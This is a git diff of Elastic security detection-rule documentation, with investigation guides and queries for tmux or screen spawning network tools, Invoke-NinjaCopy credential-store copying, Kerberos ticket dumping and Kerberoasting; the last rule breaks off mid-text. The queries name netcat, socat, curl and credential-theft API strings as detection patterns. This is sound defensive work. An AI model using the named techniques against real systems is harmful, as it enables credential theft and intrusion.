+ + +- Immediately isolate the affected host from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being initiated by tmux or screen, especially those matching the query criteria. +- Conduct a thorough review of the affected system's process tree and logs to identify any additional malicious activity or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that were active on the affected system to prevent unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Implement network monitoring to detect any unusual outbound connections or data exfiltration attempts from the affected host. +- Update and enhance detection rules to include additional suspicious command patterns or behaviors observed during the investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + process.parent.name in ("screen", "tmux") and process.name like ( + "nmap", "nc", "ncat", "netcat", "socat", "nc.openbsd", "ngrok", "ping", "java", "php*", "perl", "ruby", "lua*", + "openssl", "telnet", "wget", "curl", "id" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-invoke-ninjacopy-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-invoke-ninjacopy-script.asciidoc new file mode 100644 index 0000000000..5f9599c7df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-invoke-ninjacopy-script.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-powershell-invoke-ninjacopy-script]] +=== PowerShell Invoke-NinjaCopy script + +Detects PowerShell script block content containing Invoke-NinjaCopy or related Stealth* functions used for direct volume file access. Attackers use NinjaCopy to read locked system files such as NTDS.dit or registry hives for credential dumping. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Invoke-NinjaCopy script* + + + +*Possible investigation steps* + + +- Does the alert-preserved script content show active NinjaCopy direct-volume access rather than inert reference text? + - Focus: `powershell.file.script_block_text`, `powershell.file.script_block_length`, and file-backed `file.path` or `file.name`. + - Implication: escalate sooner when the fragment shows `Invoke-NinjaCopy`, `StealthOpenFile`, `StealthReadFile`, credential-store targets, output destinations, or cleanup logic; lower concern only for inert example or recognized validation content that later recovery does not contradict. + +- Does full script reconstruction reveal target, destination, or cleanup behavior that the matching fragment did not show? + - Why: Script Block Logging can split one script across events; later fragments often contain output paths, loops, or cleanup logic that change urgency. + - Focus: reconstruct on `host.id` + `powershell.file.script_block_id`, ordering by `powershell.sequence` / `powershell.total`; read `powershell.file.script_block_text` for "-Path", "-ComputerName", "-LocalDestination", or "-RemoteDestination". !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `powershell.sequence` is missing or never reaches `powershell.total`, record the gap before treating the script as understood. + - Implication: escalate when reconstruction adds remote targets, credential stores (`NTDS.dit`, `SAM`, `SYSTEM`, `SECURITY`), temp/share destinations, large copy buffers, archive paths, encoding, or delete-after-copy logic; lower concern when the full script is confirmed lab, forensic, or validation content with no hostile follow-on behavior. + +- Does the script provenance and reconstructed target fit a recognized workflow? + - Focus: `file.path`, `file.name`, `user.id`, `host.id`, and reconstructed "-Path", "-ComputerName", "-LocalDestination", or "-RemoteDestination". + - Hint: if `file.path` is absent, treat content as inline, generated, interactive, or remote; do not close on path absence alone. + - Implication: escalate when source is temp, downloads, or user-writable shares, or parameters name remote servers, `NTDS.dit`, registry hives, or staging destinations; lower concern when source, targets, and destinations match one recognized forensic, IR, lab, or validation workflow. + +- Do surrounding script blocks from the same user and host show staging, retries, or variant logic? + - Focus: manually search the same execution window for `user.id`, `host.id`, `powershell.file.script_block_text`, and adjacent `powershell.file.script_block_id` values. + - Hint: renamed wrappers may omit `Invoke-NinjaCopy`; still check `Stealth*` helpers and reconstructed target or destination values. + - Implication: escalate when adjacent fragments show retries, renamed helpers, alternative raw-volume logic, output-file reuse, or follow-on compression and cleanup. + +- Can process telemetry recover the PowerShell process and explain how it was launched? + - Focus: match the PowerShell PID on `host.id`, `process.pid`, and `@timestamp`; record `process.entity_id`, then interpret `process.command_line`, `process.parent.command_line`, and `process.Ext.token.integrity_level_name`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: recover the matching process via `host.id + process.pid` before using `process.*` or `process.parent.*`. If no process start event appears, expand the window because PowerShell can predate the script block; if still absent, bound file review to `host.id`, `user.id`, `process.pid`, and alert time. + - Implication: escalate when recovery shows encoded commands, remote-admin launchers, Office/browser ancestry, or unexpected high-integrity execution; unresolved process recovery does not make direct-volume script content benign. + +- Do file events confirm copied credential stores or staging artifacts? + - Focus: endpoint file events scoped to `host.id`, `process.pid`, and alert time; review `file.path`, `file.directory`, and `file.name`. !{investigate{"description":"","label":"File events for the PowerShell process","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when file activity confirms copied hives, `NTDS.dit`, archives, or renamed staging files; missing file telemetry is unresolved, not benign. + +- If the local script, launch, or artifact answers remain suspicious or unresolved, is this script block isolated, or part of broader suspicious activity for the same user or host? + - Focus: related `user.id` alerts for repeated credential access, execution, or post-compromise behavior. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alerts for credential access, persistence, or staging. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when either view shows adjacent credential-access or post-compromise behavior; keep it local only when both are quiet and the local evidence fits one recognized workflow. + +- Escalate when script content, reconstruction, target parameters, launch context, or artifacts show unauthorized direct-volume access or credential-store targeting; close only when source path, targets, destinations, launch context, and artifacts align with one recognized forensic, IR, lab, or validation workflow; preserve and escalate if mixed or incomplete. + + +*False positive analysis* + + +- Recognized red-team, security-validation, forensic-acquisition, or IR workflows can legitimately include NinjaCopy-derived code. Confirm only when `powershell.file.script_block_text`, reconstructed targets/destinations, `file.path`, `user.id`, `host.id`, and recovered launch context align with the same workflow. If records are unavailable, prior recurrence can support but not replace local telemetry proof; first occurrences stay candidate exceptions. +- Build exceptions from `user.id`, `host.id`, stable `file.path`, recovered parent-launch pattern when available, and the `powershell.file.script_block_text` pattern. Avoid exceptions on "Invoke-NinjaCopy", `user.name`, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse containment and document the recognized workflow: `user.id`, `host.id`, `file.path`, `powershell.file.script_block_id`, recovered launch context, and reconstructed target or destination values. Create an exception only if the same pattern recurs across prior alerts. +- If suspicious but unconfirmed, preserve reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `process.pid`, recovered launch context, target or destination values, and `file.path` before cleanup. Apply reversible containment first; escalate to host isolation only if copied credential artifacts, staging, or broader post-compromise activity appears. +- If confirmed malicious, preserve the reconstructed script, launch context, targets, destinations, copied stores, and related alerts first. Then use reversible endpoint response to isolate the host when needed; if unavailable, escalate with the preserved artifact set to the team that can act. Record all evidence before terminating processes or deleting files. +- If "NTDS.dit", "SAM", "SYSTEM", or "SECURITY" targeting is confirmed with copied artifacts, follow the organization's credential-exposure playbook and prioritize privileged-account hygiene. +- Before eradicating, review related hosts for the same script pattern, `file.path` destinations, and recovered parent-launch pattern. Then remove unauthorized scripts, copied stores, archives, and persistence mechanisms and remediate the delivery path. +- Post-incident hardening: restrict direct-volume-copy tooling to controlled acquisition hosts, retain PowerShell Script Block Logging and endpoint file/process telemetry, and document the recognized workflow pattern for future analysts. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "StealthReadFile" or + "StealthReadFileAddr" or + "StealthCloseFileDelegate" or + "StealthOpenFile" or + "StealthCloseFile" or + "Invoke-NinjaCopy" + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Sub-technique: +** Name: LSA Secrets +** ID: T1003.004 +** Reference URL: https://attack.mitre.org/techniques/T1003/004/ +* Sub-technique: +** Name: Cached Domain Credentials +** ID: T1003.005 +** Reference URL: https://attack.mitre.org/techniques/T1003/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-kerberos-ticket-dump.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-kerberos-ticket-dump.asciidoc new file mode 100644 index 0000000000..499e114420 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-kerberos-ticket-dump.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-powershell-kerberos-ticket-dump]] +=== PowerShell Kerberos Ticket Dump + +Detects PowerShell script block content that references LSA Kerberos authentication-package access patterns, including explicit Kerberos ticket message types or dynamic Kerberos package lookup. These patterns are consistent with tooling that enumerates, retrieves, or exports Kerberos tickets from memory for credential reuse or lateral movement. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/MzHmO/PowershellKerberos/blob/main/dumper.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Kerberos Ticket Dump* + + + +*Possible investigation steps* + + +- What does the reconstructed script block attempt to do with Kerberos tickets? + - Why: PowerShell Script Block Logging can split one script across events; interpretation before reconstruction can miss export, helper, or cleanup logic. + - Focus: recover fragments on the same `host.id` with `powershell.file.script_block_id`, order by `powershell.sequence` of `powershell.total`, then read reconstructed `powershell.file.script_block_text`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the full script retrieves, decrypts, serializes, or outputs tickets through explicit Kerberos message types, dynamic Kerberos package lookup, "LsaCallAuthenticationPackage", "ExtractTicket", or "Ticketb64"; lower concern only when reconstruction stays query-only, fits a recognized diagnostic or declared test, and shows no export or follow-on logic. + +- Does the reconstructed script try to gain SYSTEM or enumerate other logon sessions? + - Focus: reconstructed `powershell.file.script_block_text`, checking for "Invoke-AsSystem", token duplication or impersonation calls, LSA registration/connect calls, "LsaEnumerateLogonSessions", and "GetLogonSessionData". + - Implication: escalate when the script attempts SYSTEM impersonation, LSA registration, or multi-session enumeration because ticket access may extend beyond the alerting user; current-session cache queries remain suspicious but carry less scope impact when no retrieval/export evidence appears. + +- Can endpoint process telemetry explain how this PowerShell instance was launched? + - Focus: recover the matching process via `host.id` and `process.pid` before interpreting lineage; review `process.entity_id`, `process.command_line`, `process.parent.command_line`, `process.Ext.token.integrity_level_name`, and `process.Ext.authentication_id`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: If no process start event is found, expand the window because PowerShell can predate the script block; if still absent, keep launch, process-scoped file review, and auth-bridge context unresolved. + - Implication: escalate when the recovered launch shows encoded commands, remote-admin launchers, Office or browser parents, unexpected elevation, or SYSTEM-adjacent execution; missing endpoint process telemetry leaves launch chain, process-scoped file review, and auth-bridge context unresolved, not benign. + +- Do the script source or output artifacts show ticket material was staged or exported? + - Focus: source `file.path` and `file.name`, plus file activity for `host.id`, `process.pid`, and recovered `process.entity_id` when available. Look for ".kirbi", ticket text output, archives, temp/user-writable paths, or cleanup. !{investigate{"description":"","label":"File events for the PowerShell process","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when file evidence confirms exported tickets, archives, staging, or cleanup; if source path is absent or file telemetry is missing but reconstruction emits "Ticketb64" or ticket objects, treat the case as unresolved high concern rather than benign. + +- Do authentication events explain the PowerShell session or show follow-on credential use? + - Focus: same-host/user Windows Security events for `event.code` 4624, 4625, or 4648; review `source.ip`, `winlog.event_data.AuthenticationPackageName`, and `winlog.logon.type` where present. !{investigate{"description":"","label":"Windows Security authentication events for the user","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: After process recovery, search backward from the recovered process `@timestamp`, bridge `process.Ext.authentication_id` to `winlog.event_data.TargetLogonId`, and search 4648 on `winlog.event_data.SubjectLogonId` for explicit-credential targets. + - Implication: escalate when session origin, authentication package, logon type, explicit-credential target, or later remote or privileged logons conflict with the expected diagnostic or test workflow. Missing authentication telemetry is unresolved, not benign. + +- If local evidence remains suspicious or incomplete, do related alerts widen user or host scope? + - Focus: related alerts for `user.id` showing credential access, execution, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alerts only after local script, launch, artifact, and authentication review. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment and hunting when either view shows connected credential access, delivery, persistence, or lateral movement; quiet related alerts keep scope local only when the local evidence also supports a recognized workflow. + +- Escalate when script, SYSTEM or multi-session behavior, launch, artifacts, authentication, or related alerts show unauthorized ticket retrieval or follow-on credential use; close only when reconstruction and recovery bind one exact benign diagnostic, red-team, or lab workflow and outside confirmation covers gaps; preserve and escalate when evidence is mixed, incomplete, or dependent telemetry is missing. + + +*False positive analysis* + + +- Kerberos diagnostics, identity troubleshooting, red-team, or lab validation can trigger this rule when reconstruction is query-oriented or scoped to an authorized test. Confirm no unexplained SYSTEM impersonation, multi-session enumeration, "Ticketb64" output, export paths, or cleanup; `user.id`, `host.id`, and any `file.path` or `file.name` align with the declared workflow; launch and authentication recovery do not contradict it. Record first-time verified-benign activity, but wait for stable recurrence before exceptioning. +- Ticket retrieval, decryption, or base64 ticket output is an operational anti-pattern outside confirmed testing. Do not close on a Kerberos troubleshooting claim when reconstruction or follow-on evidence shows export, reuse, or unexplained privilege/session expansion. +- Build exceptions from the minimum confirmed pattern: `user.id`, `host.id`, stable `file.path` or `file.name`, declared test or diagnostic scope, and recovered launch context when available. Avoid exceptions on Kerberos API strings, `user.name`, `host.name`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the exact workflow evidence: reconstructed `powershell.file.script_block_text`, fragment identifiers, `user.id`, `host.id`, source `file.path` or `file.name`, recovered launch context when available, and bounded authentication evidence. Create an exception only after the same pattern recurs without contradictory export or reuse evidence. +- If suspicious but unconfirmed, preserve the reconstructed script, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, SYSTEM or multi-session indicators, source and output artifacts, recovered launch details when available, and authentication evidence such as `winlog.event_data.TargetLogonId` and `source.ip`. Apply reversible containment first, such as heightened monitoring or temporary account/session restrictions, and isolate the host only if ticket export, reuse, or privileged session creation appears. +- If confirmed malicious, preserve the artifact set before destructive actions, then isolate the host with endpoint response or escalate to the team that can contain it. Contain affected accounts after recording evidence for the identities and sessions involved. +- If ticket retrieval or reuse is confirmed, purge tickets on affected hosts, reset impacted credentials, and prioritize privileged, service, and delegation-capable accounts. Consider domain-wide Kerberos actions only with identity-team approval and evidence of broader TGT or KRBTGT exposure. +- Eradicate only the unauthorized scripts, exported tickets, archives, persistence mechanisms, and delivery artifacts identified during the investigation, then remediate the entry path. +- After containment, hunt for the same reconstructed script fragments, "Ticketb64" output patterns, related file artifacts, and post-alert authentication patterns across other hosts. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "LsaCallAuthenticationPackage" and + ( + "KerbRetrieveEncodedTicketMessage" or + "KerbQueryTicketCacheMessage" or + "KerbQueryTicketCacheExMessage" or + "KerbQueryTicketCacheEx2Message" or + "KerbRetrieveTicketMessage" or + "KerbDecryptDataMessage" or + ("LsaLookupAuthenticationPackage" and "kerberos" and "KERB_RETRIEVE_TKT_REQUEST") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-kerberos-ticket-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-kerberos-ticket-request.asciidoc new file mode 100644 index 0000000000..7b16a9b9e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-kerberos-ticket-request.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-powershell-kerberos-ticket-request]] +=== PowerShell Kerberos Ticket Request + +Detects PowerShell script content that references KerberosRequestorSecurityToken, which can request Kerberos service tickets. Attackers request service tickets to perform Kerberoasting for offline password cracking of service accounts. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cobalt.io/blog/kerberoast-attack-techniques +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Kerberos Ticket Request* + + + +*Possible investigation steps* + + +- What does the reconstructed script actually do with KerberosRequestorSecurityToken? + - Focus: Reconstruct full 4104 content on `host.id` with `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`; interpret `powershell.file.script_block_text`. + - Hint: pull fragments with matching `host.id` and `powershell.file.script_block_id`, order by `powershell.sequence`, and note gaps before judging intent. !{investigate{"description":"","label":"All PowerShell 4104 fragments for this script on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4104","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the script requests SPN TGS tickets, loops across "Get-DomainUser -SPN" results, or emits John/Hashcat, "TicketByteHexStream", "$krb5tgs$", or ".kirbi" material; lower suspicion only when reconstruction proves incidental text, comments, or a bounded fixed-SPN test with no output logic. + +- Do the user, host, and script source fit a bounded recognized Kerberos test? + - Focus: `user.id`, `user.name`, `user.domain`, `host.id`, and `file.path`. + - Hint: absent `file.path` means the script block may be interactive, pasted, or generated in memory, so require stronger corroboration before closure. + - Implication: escalate when a standard user, shared workstation, production server, user-writable `file.path`, or absent `file.path` pairs with broad SPN targeting; lower suspicion only for a recognized identity test or Kerberos diagnostic on the expected host and user with a fixed SPN set. + +- If endpoint process telemetry is available for this host, how did the PowerShell session start? + - Focus: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. + - Hint: recover the process via `host.id + process.pid` before interpreting `process.*` or `process.parent.*`; if absent after a wider lookup, keep launch context unresolved and scope later pivots with `host.id`, `user.id`, and alert time. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when launch context shows encoded commands, pasted or remote delivery, Office or browser parents, unexpected service or network logon, or alternate-credential use; lower suspicion when command line and parent chain match the exact recognized test workflow. + +- Did the activity create ticket, hash, or target-list artifacts? + - Focus: If endpoint file telemetry exists, scope writes to `host.id`, `user.id`, and the alert window; use the recovered process only after process recovery succeeds, and review `file.path` and `file.Ext.header_bytes`. !{investigate{"description":"","label":"File events for the PowerShell process","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when writes show SPN lists, ".kirbi" tickets, "$krb5tgs$" or John/Hashcat text, "TicketByteHexStream", base64 blobs, archives, or temp/share/user-writable staging; no file output does not clear direct hash output or memory-only ticket export, and missing file telemetry is unresolved, not benign. + +- Do domain-controller ticket events confirm active Kerberoasting behavior? + - Focus: DC-side Windows Security `event.code` 4769 near alert time, starting with `winlog.event_data.TargetUserName` = alert `user.name` for domain requesters; review `winlog.event_data.TargetDomainName`, `source.ip`, `winlog.event_data.ServiceName`, `winlog.event_data.TicketEncryptionType`, and target SPN volume. !{investigate{"description":"","label":"Kerberos service ticket events for the alert user name","providers":[[{"excluded":false,"field":"winlog.event_data.TargetUserName","queryType":"phrase","value":"{{user.name}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4769","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: if the alert user is local, SYSTEM, or the transform is quiet, retry DC 4769 with UPN/domain variants from `user.name` + `user.domain`, then pivot by source host/address and candidate requester from reconstruction or launch context. + - Implication: escalate when 4769 events show broad SPN enumeration, RC4 or weak encryption, service-account-heavy targeting, or client addresses inconsistent with the expected workflow. Missing authentication telemetry is unresolved, not benign. + +- Is this ticket-request activity isolated or part of broader suspicious behavior? + - Focus: same-scope events or alerts for `user.id` in the last 48 hours for credential access, execution, discovery, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the host pivot separately when user scope is noisy or service-account-heavy. !{investigate{"description":"","label":"Alerts associated with the 